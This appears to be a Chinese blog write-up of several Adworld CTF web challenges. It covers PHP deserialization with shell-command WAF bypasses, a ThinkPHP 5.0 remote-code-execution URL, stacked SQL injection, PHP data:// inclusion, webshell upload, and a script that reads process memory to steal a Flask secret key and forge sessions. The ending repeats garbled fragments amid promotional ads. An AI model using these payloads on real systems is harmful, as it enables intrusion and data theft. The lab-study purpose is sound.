2024年网络安全最新CTF_WP-攻防世界web题解(1),2024年最新这原因我服了

还有大家最喜欢的黑客技术

网络安全源码合集+工具包

所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

查看flag_1s_here

$args=array('ca""t${IFS}f""lag\_1s\_here');


image-20240323141906135

image-20240323141958247

没结果?这不是个文件吗?文件夹?

ls -l查看详细信息

**注意!**这两种得到的结果不一样

$args=array('l""s${IFS}-l');

$args=array("l''s${IFS}-l"); 
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:6:"l''s-l";}}//外边是双引号的时候${IFS}被当成了变量跳过了


使用$args=array('l""s${IFS}-l');查看


image-20240323142615384

image-20240323142519871

ls -l
array(3) {
  [0]=>
  string(7) "total 8"
  [1]=>
  string(53) "drwxr-xr-x 1 root root 4096 Mar 23 05:14 flag_1s_here"
  [2]=>
  string(50) "-rwxr-xr-x 1 root root  863 Aug 18  2022 index.php"
}

说明:
total 8:这是 ls -l 命令的默认输出中的一部分,它显示了目录中所有文件的总计大小。这一行并不表示实际的文件或目录。

drwxr-xr-x 1 root root 4096 Dec 17 13:04 flag_1s_here:这是目录中一个子目录的信息。具体解释如下:
drwxr-xr-x:这是文件权限的表示,d 表示这是一个目录,后面的权限分别表示文件所有者、文件所属组和其他用户的权限。
1:这是链接计数,表示目录中包含的链接数。
root root:这是文件的所有者和所属组。
4096:这是文件的大小(以字节为单位),对于目录来说,它显示为 4096。
Dec 17 13:04:这是文件的最后修改时间。

-rwxr-xr-x 1 root root 863 Aug 18 07:49 index.php:这是目录中一个文件的信息。具体解释如下:
-rwxr-xr-x:这是文件权限的表示,- 表示这是一个普通文件,后面的权限分别表示文件所有者、文件所属组和其他用户的权限。
1:这是链接计数,表示文件的硬链接数。
root root:这是文件的所有者和所属组。
863:这是文件的大小(以字节为单位)。
Aug 18 07:49:这是文件的最后修改时间。


继续ls查看flag_1s_here:

$args=array('l""s${IFS}f""lag\_1s\_here');


image-20240323142903804

image-20240323142928244

查看flag_831b69012c67b35f.php:

image-20240323143240936

直接访问没有任何信息,应该需要看源码

printf绕过
printf绕过
printf 同时可以识别八进制表示或十六进制表示的字符串
printf的格式化输出,可以将十六进制或者八进制的字符数字转化成其对应的ASCII字符内容输出

\NNN 八进制数 NNN 所代表的 ASCII 码字符。

\xHH 十六进制 HH 对应的8位字符。HH 可以是一到两位。

\uHHHH 十六进制 HHHH 对应的 Unicode 字符。HHHH 一到四位。

\UHHHHHHHH十六进制 HHHHHHHH 对应的 Unicode 字符。HHHHHHHH 一到八位


那么 printf${IFS}"\57" 表示把 / 给输出出来 绕过waf检查


构造如下payloud

$args=array('ca""t${IFS}f""lag\_1s\_here$(printf${IFS}"\57")f""lag\_831b69012c67b35f.p""hp');


代码如下

<?php

class ease{
    
    private $method;
    private $args;
    function \_\_construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function \_\_wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$args=array('ca""t${IFS}f""lag\_1s\_here$(printf${IFS}"\57")f""lag\_831b69012c67b35f.p""hp');
$a=new ease("ping",$args);
$b=serialize($a);
print($b."\n");
$data=base64\_encode($b);
echo $data;


?>


image-20240323144143183

image-20240323144201080

image-20240323144441765

至此,已成艺术

绕过绕过绕过

总结:$命令替换、ls -l、waf绕过、空格绕过、printf绕过

参考:https://www.cnblogs.com/gradyblog/p/16989750.html

web2

image-20240317200746338

image-20240317200757080

对encode逆向解密miwen应该就是flag

<?php

function decode($str) {
    // ROT13 解密
    $str = str\_rot13($str);
    
    // 反转字符串
    $str = strrev($str);
    
    // Base64 解码
    $str = base64\_decode($str);
    
    // 字符替换,将每个字符的 ASCII 值减 1
    $decoded = '';
    for ($i = 0; $i < strlen($str); $i++) {
        $decoded .= chr(ord(substr($str, $i, 1)) - 1);
    }

    //再次反转
    $decoded = strrev($decoded);
    
    return $decoded;
}

// 加密字符串
$miwen = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

// 解密加密字符串
$plaintext = decode($miwen);

// 输出解密结果
echo $plaintext;

?>


使用phpstudy,将文件放在WWW根目录下,浏览器访问即可

总结:解密
warmup

image-20240317203250603

image-20240317203309122

查看源码

image-20240317203321893

提示source.php

image-20240317203350469

并且还提到了一个hint.php,查看

image-20240317203435226

提示flag在这个里面

先看前面的源码source.php

  1. request接收参数file,判断是否为空、是否是string、checkfile
  2. 如果满足,则包含file
  3. 否则打印滑稽

所以应该是要把ffffllllaaaagggg文件包含进file,关键就是怎么绕过checkfile

接下看重点看checkfile函数,白名单被写死,return true的情况只有三种

  1. file在白名单中
  2. 在file末尾加了个?,?前的部分在白名单中
  3. 先将file进行url解码,然后同2

这里的file就是参数page,加?的目的应该是通过添加的?找到末尾坐标,但是正是这多此一举给了可趁之机,只需要先发制人,提前在file中加一个?,就可以让它解析错误,截取我们自己添加的?前面的部分

因此payload可以是hint.php?..ffffllllaaaagggg

但是由于ffffllllaaaagggg的路径不清楚,只能一个一个试,不停添加…/

最终拿到flag

image-20240317211145382

里面还有一个重点,就是在include ‘file’的时候,file是string类型的,然后从file中解析文件路径,因此才可以从hint.php?..ffffllllaaaagggg这种格式中解析出正确的ffffllllaaaagggg路径

image-20240317211538762

总结:php代码审计,绕过check
upload1

image-20240318115340599

image-20240318115359317

尝试上传任意txt文件,结果

image-20240318115510626

选择一张图片上传

image-20240318115722412

查看源码

image-20240318120923392

发现前端对文件名过滤

使用burpsuit抓包发送php文件

image-20240318121008012

成功上传,蚁剑连接

image-20240318121056581

image-20240318121144124

image-20240318121200477

总结:文件上传漏洞
NewsCenter

image-20240318121719666

image-20240318121749359

观察题目,只有一个search输入框可以挖掘漏洞,初步判断sql注入。

但是一旦输入单引号,服务器就崩

image-20240318122151762

image-20240318122137900

使用burpsuit抓包

image-20240318122339459

直接上万能密码,成功回显所有news,说明的确是sql注入

image-20240318122425596

先判断select列数,3

image-20240318122547366

image-20240318122636509

没有过滤,并且回显2,3。应该就是一道简单的注入题

image-20240318122850358

image-20240318123001425

image-20240318123116373

总结:sql注入
Web_php_unserialize

image-20240318123714216

image-20240318125221177

补充:正则表达式规则

以下是一些常用的正则表达式元字符和规则:

  1. 普通字符:这些字符直接匹配其自身。例如,字母 a 将匹配字符串中的字母 a
  2. 元字符:具有特殊含义的字符,例如 ^$.*+? 等。这些元字符用于构建更复杂的匹配模式。
  3. 字符类:用方括号 [] 表示,匹配其中任意一个字符。例如,[abc] 匹配字符 abc 中的任意一个。
  4. 字符范围:在字符类中使用连字符 - 可以表示字符范围。例如,[a-z] 匹配任意小写字母,[0-9] 匹配任意数字。
  5. 量词:用于指定匹配重复次数的数量。常见的量词包括 *(零次或多次)、+(一次或多次)、?(零次或一次)、{n}(恰好 n 次)、{n,}(至少 n 次)、{n,m}(至少 n 次,至多 m 次)。
  6. 定位符:用于匹配字符串的边界,包括 ^(匹配字符串的起始位置)、$(匹配字符串的结尾位置)、\b(匹配单词边界)等。
  7. 转义字符:用反斜杠 \ 来转义特殊字符,使其具有普通字符的含义。例如,\. 匹配实际的点号字符,而不是元字符 .
  8. 分组和捕获:使用圆括号 () 可以将一部分正则表达式组合成子表达式,并将其作为一个整体进行匹配。这还允许在匹配期间捕获子表达式的内容,以便稍后引用。
  9. 反向引用:在正则表达式中,可以使用 \n(其中 n 是一个数字)来引用捕获的子表达式的内容。
  10. 修饰符:在正则表达式的结束符号后,可以添加修饰符以改变匹配行为。常见的修饰符包括 i(不区分大小写)、g(全局匹配)、m(多行匹配)等。

那么这道题,这个正则表达式模式 /[oc]:\d+:/i 匹配的规则如下:

  1. [oc]::匹配一个字符,可以是 oc 中的任意一个字符。方括号 [...] 表示字符集,里面的字符可以任意选择其中一个。: 表示匹配实际的冒号字符。
  2. \d+:匹配一个或多个数字字符。\d 是一个特殊的元字符,表示匹配任意数字字符,+ 表示匹配前面的内容至少一次。因此,\d+ 表示匹配一个或多个连续的数字。
  3. ::匹配实际的冒号字符。

综合起来,这个正则表达式模式匹配的字符串形式为 [o|c]:数字+:,其中 oc 是字符集 [oc] 中的一个字符,后面跟着一个或多个数字,最后再跟着一个冒号 :

这种模式通常用于匹配序列化字符串中的自定义对象引用标识符,因为这种标识符通常以 oc 开头,后面跟着一些数字,然后再跟着一个冒号。如:o:5:

函数绕过
  1. 将传的参数进行base64编码,绕过base64_decode函数
  2. 在反序列化串的O:前加个加号“+”,绕过preg_match函数
  3. 修改反序列化串的对象属性个数(一般大于原个数),绕过wakeup函数

脚本代码:

<?php 
class Demo { 
    private $file = 'fl4g.php';
}

$a=new Demo();
$b=serialize($a);
echo $b;
$b=str\_replace('O:4','O:+4',$b);
$b=str\_replace(':1:',':2:',$b);
$b=base64\_encode($b);
echo $b;
?>


运行得到var

image-20240318184416720

把var加到url后面得到flag

image-20240318184443662

总结:php反序列化漏洞,绕过
php_rce

image-20240318184604605

image-20240318184613498

thinkphp框架,没思路,看网上题解,这个框架是有漏洞的,上网搜索thinkphp漏洞,得知漏洞大致分两个版本

image-20240318192602335

这个是5.0版本的,尝试在url中添加途中payload,果然可以,使用这个就可以拿到shell

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id


ls查看目录

image-20240318192758123

一级一级查看有没有flag

最终发现一个flag文件

image-20240318192846480

cat查看文件

image-20240318192859938

总结:thinkphp框架漏洞,根据信息网上查找
command_execution

image-20240318193045499

image-20240318194317639

image-20240318213111291

发现可能是简单的把命令拼接起来,尝试注入多条命令

image-20240318213205660

接下来就是寻找flag的路径

image-20240318213248298

总结:命令拼接
catcat-new

image-20240318221859442

image-20240318221919710

image-20240318224845594

点进一张图之后,观察url,猜测可能是sql注入

尝试各种注入,不可行,根据返回信息猜测可能是任意文件读取漏洞

image-20240318225014075

尝试读取/etc/passwd文件,果然可以

image-20240318225204075

关于ctf常用的Linux文件路径:http://t.csdnimg.cn/Mi7J3

这道题可以从这入手,全部试一边看看,加深记忆
image-20240319131156968

image-20240319131130868

通过查看proc/self/cmdline发现执行当前程序的命令

image-20240319131538323

当前程序的源代码应该就在app.py中,查看app.py:

image-20240319131710771

代码如下:

import os
import uuid
from flask import Flask, request, session, render_template
from cat import cat

flag = ""
app = Flask(
    __name__,
    static_url_path='/',
    static_folder='static'
)
app.config['SECRET\_KEY'] = str(uuid.uuid4()).replace("-", "") + "\*abcdefgh"

if os.path.isfile("/flag"):
    flag = cat("/flag")
    os.remove("/flag")

@app.route('/', methods=['GET'])
def index():
    detailtxt = os.listdir('./details/')
    cats_list = []
    for i in detailtxt:
        cats_list.append(i[:i.index('.')])
        
    return render_template("index.html", cats_list=cats_list, cat=cat)


@app.route('/info', methods=["GET", 'POST'])
def info():
    filename = "./details/" + request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
    
    return render_template("detail.html", catname=name, info=cat(filename, start, end))
    

@app.route('/admin', methods=["GET"])
def admin\_can\_list\_root():
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
        return "NoNoNo"


if __name__ == '\_\_main\_\_':
    app.run(host='0.0.0.0', debug=False, port=5637)



使用了flask框架,并且通过检查session的值来判断是否admin,那么可能需要伪造session

搜索flask框架漏洞,发现存在session漏洞:https://www.jianshu.com/p/56614e46093e

image-20240319142125285

伪造session参考:http://t.csdnimg.cn/xDmL2

从github上下载session加密解密脚本:https://links.jianshu.com/go?to=https%3A%2F%2Fgithub.com%2Fnoraj%2Fflask-session-cookie-manager

脚本使用方法:

image-20240319142629100

运行脚本发现缺少模块,使用pip安装,又报pip不是内部命令

先把pip目录D:\soft\python3.7.9\Scripts添加到系统环境变量path中

然后pip install安装响应模块

启动脚本

image-20240319142549770

接下来就是伪造session中admin的值为1,但是伪造需要先拿到secret_key

这道题的程序中,密钥是通过使用 uuid.uuid4() 函数生成了一个随机的 UUID(Universally Unique Identifier),然后通过 replace("-", "") 去掉了 UUID 中的破折号,最后再添加了一个固定的字符串 *abcdefgh。这样生成的字符串就作为了 Flask 应用程序的密钥。这种方法可以确保每次启动应用程序时都会生成一个不同的密钥,提高了安全性。因为 UUID 是按照特定算法生成的全局唯一标识符,所以可以保证生成的密钥是唯一的。

所以就要想办法找到uuid或者密钥

联想到刚才查到的Linux文件路径,proc/self/environ中可能存在密钥,先查看再说

image-20240319143832007

内容如下:

HOSTNAME=33f63d52abb8
PYTHON_PIP_VERSION=21.2.4
SHLVL=1
HOME=/root
OLDPWD=/
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/3cb8888cc2869620f57d5d2da64da38f516078c7/public/get-pip.py
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/bin
LANG=C.UTF-8
PYTHON_VERSION=3.7.12
PYTHON_SETUPTOOLS_VERSION=57.5.0
PWD=/app
PYTHON_GET_PIP_SHA256=c518250e91a70d7b20cceb15272209a4ded2a0c263ae5776f129e0d9b5674309



没有发现

由于这个密钥是每次程序运行随机生成的,所以只有在内存中可以找到

/proc/[pid]/maps 可以查看进程的内存映射,当前进程[pid]换成self即可

image-20240319154404336

使用脚本从内存中寻找secret_key:

import requests
import re

url='http://61.147.171.105:63081/'
s_key=''
map_list=requests.get(url+'info?file=../../proc/self/maps')

map_list=map_list.text.split('\\n') #根据字符串"\n"进行分割
for i in map_list:
    map_addr=re.match(r"([a-z0-9]+)-([a-z0-9]+) rw",i) #正则匹配rw可读可写内存区域,()起到分组的作用
    if map_addr:
        start=int(map_addr.group(1),16)
        end=int(map_addr.group(2),16)
        print("found rw addr:",start,"-",end)

        res=requests.get(f"{url}info?file=../../proc/self/mem&start={start}&end={end}")
        if "\*abcdefgh" in res.text:
            s_key_=re.findall("[a-z0-9]{32}\\*abcdefgh",res.text)
            if s_key_:
                print("find secret\_key:",s_key_[0])
                s_key=s_key_[0]
                break


image-20240319154202746

拿到密钥:05b0f6e17a7e4437af97f749cef1a5b5*abcdefgh

接下来伪造session

image-20240319155412618

拿到伪造session:eyJhZG1pbiI6MX0.ZflETw.2N1Cy_r_emRf9w8BRuf557N1q7I

注意,双引号包裹时里边不能再用双引号,要么\转义,要么使用单引号,这里踩坑

image-20240319155548069

burpsuit重新发送数据包拿到flag

image-20240319155349792

总结:任意文件读取漏洞 + python flask框架session伪造漏洞 + 内存中读取secretkey
Web_php_include

image-20240319220726610
image-20240319220737763

解法一:完全利用php伪协议

由于php://被过滤,使用data协议:data://text/plain,<?php phpinfo(); ?>

image-20240319221349898

首先查看目录

读取目录路径

image-20240319221608005

读取目录文件

image-20240319221700022

glob查看当前路径下所有目录文件

image-20240319222323398

highlight_file查看文件

image-20240319222553757
或者使用file_get_contents

image-20240319222724687

总结:php伪协议:data://text/plain
php伪协议input和data、php读取目录路径、读取目录文件、读取文件

这个是数据流;php://input是输入流,从post中输入

supersqli

image-20240320154542052

image-20240320154551124

可以注入,但是关键字被过滤

image-20240320155320252

尝试堆叠注入

查看数据库:show databases;

image-20240320155455114

查看表名:show tables;

image-20240320155628327

查看两个表的列名:

show columns from `words`;  show columns from `1919810931114514`;


注意:查询时字符串需要加反引号

image-20240320155850484

image-20240320160202950

最后一步就是查询字段内容

方法一:改表名
alter table `words` rename to `w`;
alter table `1919810931114514` rename to `words`;


image-20240320161826075

这里是因为修改了表名之后没有words表了,不用管,继续修改flag字段名

alter table `words` change `flag` `id` VARCHAR(50);


好吧其实是需要管的,三个语句需要同时注入,否则第一次修改了表明之后,words不存在,后面就无法查询,直接报错,后续的注入就无法进行了。

image-20240320162741493
重启环境,重新注入

最后1’ or 1=1#直接显示所有数据

image-20240320163349171

方法二:预编译
';sEt @sql = CONCAT('se','lect \* from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#


总结:堆叠注入,修改表名、预编译
robots

image-20240320164520923
image-20240320164539271

直接查看robots.txt文件

image-20240320164609082

查看隐藏的文件

image-20240320164645262

总结:robots.txt
file_include

image-20240320164751380

image-20240320170112897

又是一道php伪协议,但是之前的input或者data都不管用了,三道题明明长得一模一样,却只能用不同的伪协议

b0b0b0aee983830959179eb06b230ac6
8661e1d7d0304710220d67e7dd34034a
5bad31f177192562bd6f5fdd83f82ef1
不理解,再次查找,发现不同协议的使用条件:https://www.cnblogs.com/Article-kelp/p/14581703.html

不同协议的使用条件

最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

img

img

img

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

0959179eb06b230ac6](https://i-blog.csdnimg.cn/blog_migrate/272e0164ae9d536c51c654e0b5d9e127.png)
8661e1d7d0304710220d67e7dd34034a
5bad31f177192562bd6f5fdd83f82ef1
不理解,再次查找,发现不同协议的使用条件:https://www.cnblogs.com/Article-kelp/p/14581703.html

不同协议的使用条件

最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

[外链图片转存中…(img-Hh82uirH-1715451343030)]

[外链图片转存中…(img-EIfdppJH-1715451343030)]

[外链图片转存中…(img-PiCiSMvn-1715451343031)]

[外链图片转存中…(img-8Ci4mB46-1715451343031)]

[外链图片转存中…(img-BLdImQl9-1715451343032)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值